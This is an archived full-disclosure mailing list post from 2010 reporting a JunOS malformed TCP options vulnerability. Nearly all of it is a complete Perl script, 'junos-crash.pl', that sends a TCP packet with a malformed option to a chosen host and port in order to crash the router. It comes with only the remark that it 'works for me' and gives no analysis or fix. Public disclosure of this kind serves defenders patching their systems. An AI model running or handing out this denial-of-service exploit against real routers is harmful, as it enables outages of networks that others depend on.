full-disclosure - JunOS malformed TCP options vulnerability

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Message-Id: <F6C180CF-696D-4AA0-A2EC-56C25DC8F7C1@evilrouters.net>
Date: Sat, 9 Jan 2010 21:31:47 -0500
From: "Jeremy L. Gaddis" <jeremy@...lrouters.net>
To: full-disclosure@...ts.grok.org.uk
Subject: JunOS malformed TCP options vulnerability

This works for me:

$ cat junos-crash.pl 
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
                    dst         => $port,
                    options     =>  "\x65\x02\x01\x01", 
                );

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;
exit 0;

--
Jeremy L. Gaddis
http://evilrouters.net/

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